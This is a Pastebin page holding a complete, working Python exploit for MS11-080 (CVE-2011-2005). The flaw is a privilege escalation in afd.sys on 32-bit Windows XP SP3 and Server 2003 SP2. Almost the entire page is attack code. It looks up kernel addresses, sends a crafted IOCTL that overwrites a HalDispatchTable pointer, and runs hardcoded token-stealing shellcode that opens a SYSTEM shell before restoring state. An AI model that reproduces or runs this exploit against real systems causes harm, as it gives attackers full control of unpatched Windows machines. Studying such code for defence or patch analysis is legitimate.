Advertisement
moften

Exploit-ms0808.py

Jan 4th, 2012
401
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 11.94 KB | None | 0 0
  1. ################################################################################
  2. ######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ########
  3. #########         Author: ryujin@offsec.com - Matteo Memelli            ########
  4. #########                      Spaghetti & Pwnsauce                     ########
  5. #########              yuck! 0xbaadf00d Elwood@mac&cheese.com           ########
  6. #########                                                               ########
  7. #########      Thx to dookie(lifesaver)2000ca, dijital1 and ronin       ########
  8. #########                        for helping out!                       ########
  9. #########                                                               ########
  10. #########                   To my Master Shifu muts:                    ########
  11. #########           "So that's it, I just need inner peace?" ;)         ########
  12. #########                                                               ########
  13. #########        Exploit tested on the following 32bits systems:        ########
  14. #########       Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng       ########
  15. ################################################################################
  16.  
  17. from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,
  18.                     c_char, c_short, c_ushort, c_int, c_uint, c_ulong,
  19.                     c_void_p, c_long, c_char_p)
  20. from ctypes.wintypes import HANDLE, DWORD
  21. import socket, time, os, struct, sys
  22. from optparse import OptionParser
  23.  
  24. usage =  "%prog -O TARGET_OS"
  25. parser = OptionParser(usage=usage)
  26. parser.add_option("-O", "--target-os", type="string",
  27.                   action="store", dest="target_os",
  28.                   help="Target OS. Accepted values: XP, 2K3")
  29. (options, args) = parser.parse_args()
  30. OS = options.target_os
  31. if not OS or OS.upper() not in ['XP','2K3']:
  32.    parser.print_help()
  33.    sys.exit()
  34. OS = OS.upper()
  35.  
  36. kernel32 = windll.kernel32
  37. ntdll    = windll.ntdll
  38. Psapi    = windll.Psapi
  39.  
  40. def findSysBase(drvname=None):
  41.     ARRAY_SIZE            = 1024
  42.     myarray               = c_ulong * ARRAY_SIZE
  43.     lpImageBase           = myarray()
  44.     cb                    = c_int(1024)
  45.     lpcbNeeded            = c_long()
  46.     drivername_size       = c_long()
  47.     drivername_size.value = 48
  48.     Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
  49.     for baseaddy in lpImageBase:
  50.         drivername = c_char_p("\x00"*drivername_size.value)
  51.         if baseaddy:
  52.             Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
  53.                             drivername_size.value)
  54.             if drvname:
  55.                 if drivername.value.lower() == drvname:
  56.                     print "[+] Retrieving %s info..." % drvname
  57.                     print "[+] %s base address: %s" % (drvname, hex(baseaddy))
  58.                     return baseaddy
  59.             else:
  60.                 if drivername.value.lower().find("krnl") !=-1:
  61.                     print "[+] Retrieving Kernel info..."
  62.                     print "[+] Kernel version:", drivername.value
  63.                     print "[+] Kernel base address: %s" % hex(baseaddy)
  64.                     return (baseaddy, drivername.value)
  65.     return None
  66.  
  67. print "[>] MS11-080 Privilege Escalation Exploit"
  68. print "[>] Matteo Memelli - ryujin@offsec.com"
  69. print "[>] Release Date 28/11/2011"
  70.  
  71. WSAGetLastError          = windll.Ws2_32.WSAGetLastError
  72. WSAGetLastError.argtypes = ()
  73. WSAGetLastError.restype  = c_int
  74. SOCKET                   = c_int
  75. WSASocket                = windll.Ws2_32.WSASocketA
  76. WSASocket.argtypes       = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
  77. WSASocket.restype        = SOCKET
  78. closesocket              = windll.Ws2_32.closesocket
  79. closesocket.argtypes     = (SOCKET,)
  80. closesocket.restype      = c_int
  81. connect                  = windll.Ws2_32.connect
  82. connect.argtypes         = (SOCKET, c_void_p, c_int)
  83. connect.restype          = c_int
  84.  
  85. class sockaddr_in(Structure):
  86.     _fields_ = [
  87.         ("sin_family", c_short),
  88.         ("sin_port", c_ushort),
  89.         ("sin_addr", c_ulong),
  90.         ("sin_zero", c_char * 8),
  91.         ]
  92.  
  93. ## Create our deviceiocontrol socket handle
  94. client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,
  95.                    None, 0, 0)
  96. if client == ~0:
  97.     raise OSError, "WSASocket: %s" % (WSAGetLastError(),)
  98. try:
  99.     addr = sockaddr_in()
  100.     addr.sin_family = socket.AF_INET
  101.     addr.sin_port = socket.htons(4455)
  102.     addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1
  103.     ## We need to connect to a closed port, socket state must be CONNECTING
  104.     connect(client, byref(addr), sizeof(addr))
  105. except:
  106.     closesocket(client)
  107.     raise
  108.  
  109. baseadd    = c_int(0x1001)
  110. MEMRES     = (0x1000 | 0x2000)
  111. PAGEEXE    = 0x00000040
  112. Zerobits   = c_int(0)
  113. RegionSize = c_int(0x1000)
  114. written    = c_int(0)
  115. ## This will trigger the path to AfdRestartJoin
  116. irpstuff   = ("\x41\x41\x41\x41\x42\x42\x42\x42"
  117.               "\x00\x00\x00\x00\x44\x44\x44\x44"
  118.               "\x01\x00\x00\x00"
  119.               "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)
  120. ## Allocate space for the input buffer
  121. dwStatus = ntdll.NtAllocateVirtualMemory(-1,
  122.                                      byref(baseadd),
  123.                                      0x0,
  124.                                      byref(RegionSize),
  125.                                      MEMRES,
  126.                                      PAGEEXE)
  127. # Copy input buffer to it
  128. kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))
  129. startPage = c_int(0x00020000)
  130. kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
  131. ################################# KERNEL INFO ##################################
  132. lpDriver     = c_char_p()
  133. lpPath       = c_char_p()
  134. lpDrvAddress = c_long()
  135. (krnlbase, kernelver) = findSysBase()
  136. hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
  137. HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
  138. HalDispatchTable -= hKernel
  139. HalDispatchTable += krnlbase
  140. print "[+] HalDispatchTable address:", hex(HalDispatchTable)
  141. halbase = findSysBase("hal.dll")
  142. ## WinXP SP3
  143. if OS == "XP":
  144.     HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3
  145.     HalpSetSystemInformation   = halbase+0x19436 # Offset for XPSP3
  146. ## Win2k3 SP2
  147. else:
  148.     HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3
  149.     HalpSetSystemInformation   = halbase+0x21c60 # Offset for WIN2K3
  150. print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)
  151. print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)
  152.  
  153. ################################# EXPLOITATION #################################
  154. shellcode_address_dep   = 0x0002071e
  155. shellcode_address_nodep = 0x000207b8
  156. padding           = "\x90"*2
  157. HalDispatchTable0x4 = HalDispatchTable + 0x4
  158. HalDispatchTable0x8 = HalDispatchTable + 0x8
  159. ## tokenbkaddr      = 0x00020900
  160. if OS == "XP":
  161.     _KPROCESS = "\x44"
  162.     _TOKEN    = "\xc8"
  163.     _UPID     = "\x84"
  164.     _APLINKS  = "\x88"
  165. else:
  166.     _KPROCESS = "\x38"
  167.     _TOKEN    = "\xd8"
  168.     _UPID     = "\x94"
  169.     _APLINKS  = "\x98"
  170.      
  171. restore_ptrs =   "\x31\xc0" + \
  172.                  "\xb8" + struct.pack("L", HalpSetSystemInformation) + \
  173.                  "\xa3" + struct.pack("L", HalDispatchTable0x8) + \
  174.                  "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
  175.                  "\xa3" + struct.pack("L", HalDispatchTable0x4)
  176. tokenstealing =  "\x52"                                 +\
  177.                  "\x53"                                 +\
  178.                  "\x33\xc0"                             +\
  179.                  "\x64\x8b\x80\x24\x01\x00\x00"         +\
  180.                  "\x8b\x40" + _KPROCESS                 +\
  181.                  "\x8b\xc8"                             +\
  182.                  "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
  183.                  "\x89\x1d\x00\x09\x02\x00"             +\
  184.                  "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
  185.                  "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
  186.                  "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
  187.                  "\x75\xe8"                             +\
  188.                  "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
  189.                  "\x8b\xc1"                             +\
  190.                  "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
  191.                  "\x5b"                                 +\
  192.                  "\x5a"                                 +\
  193.                  "\xc2\x10"
  194. restore_token =  "\x52"                                 +\
  195.                  "\x33\xc0"                             +\
  196.                  "\x64\x8b\x80\x24\x01\x00\x00"         +\
  197.                  "\x8b\x40" + _KPROCESS                 +\
  198.                  "\x8b\x15\x00\x09\x02\x00"             +\
  199.                  "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
  200.                  "\x5a"                                 +\
  201.                  "\xc2\x10"
  202.                    
  203. shellcode         = padding + restore_ptrs + tokenstealing
  204. shellcode_size    = len(shellcode)
  205. orig_size         = shellcode_size
  206. # Write shellcode in userspace (dep)
  207. kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
  208.                                    shellcode_size, byref(written))
  209. # Write shellcode in userspace *(nodep)
  210. kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
  211.                                    shellcode_size, byref(written))
  212. ## Trigger Pointer Overwrite
  213. print "[*] Triggering AFDJoinLeaf pointer overwrite..."
  214. IOCTL             = 0x000120bb                # AFDJoinLeaf
  215. inputbuffer       = 0x1004
  216. inputbuffer_size  = 0x108
  217. outputbuffer_size = 0x0                       # Bypass Probe for Write
  218. outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
  219. IoStatusBlock = c_ulong()
  220. NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
  221.                                        None,
  222.                                        None,
  223.                                        None,
  224.                                        byref(IoStatusBlock),
  225.                                        IOCTL,
  226.                                        inputbuffer,
  227.                                        inputbuffer_size,
  228.                                        outputbuffer,
  229.                                        outputbuffer_size
  230.                                        )
  231. ## Trigger shellcode
  232. inp  = c_ulong()
  233. out  = c_ulong()
  234. inp  = 0x1337
  235. hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
  236. ## Spawn a system shell, w00t!
  237. print "[*] Spawning a SYSTEM shell..."
  238. os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")
  239.  
  240. ############################## POST EXPLOITATION ###############################
  241. print "[*] Restoring token..."
  242. ## Restore the thingie
  243. shellcode         = padding + restore_ptrs + restore_token
  244. shellcode_size    = len(shellcode)
  245. trail_padding     = (orig_size - shellcode_size) * "\x00"
  246. shellcode        += trail_padding
  247. shellcode_size   += (orig_size - shellcode_size)
  248. ## Write restore shellcode in userspace (dep)
  249. kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,
  250.                                    shellcode_size, byref(written))
  251. ## Write restore shellcode in userspace (nodep)
  252. kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,
  253.                                    shellcode_size, byref(written))
  254. ## Overwrite HalDispatchTable once again
  255. NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
  256.                                        None,
  257.                                        None,
  258.                                        None,
  259.                                        byref(IoStatusBlock),
  260.                                        IOCTL,
  261.                                        inputbuffer,
  262.                                        inputbuffer_size,
  263.                                        outputbuffer,
  264.                                        outputbuffer_size
  265.                                        )
  266. ## Trigger restore shellcode
  267. hola = ntdll.NtQueryIntervalProfile(inp, byref(out))
  268. print "[+] Restore done! Have a nice day :)"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement